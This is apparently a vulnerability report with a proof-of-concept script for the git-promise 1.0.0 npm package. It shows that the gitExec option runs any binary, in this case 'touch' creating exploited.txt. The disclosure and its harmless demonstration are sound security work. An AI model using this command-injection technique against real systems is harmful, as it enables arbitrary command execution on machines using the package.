Package git-promise: it is possible through the argument to execute a binary which is not 'git', with the package README.md focusing only on running git commands.

git-promise-1.0.0_poc.js

'use strict'

const pkg = require('git-promise');

const commandOrArgs = 'exploited.txt';
const optionsOrCallback = {
    gitExec: 'touch'
};
const callbackMaybe = function() {};

// This will create a local 'exploited.txt'.
pkg(commandOrArgs, optionsOrCallback, callbackMaybe);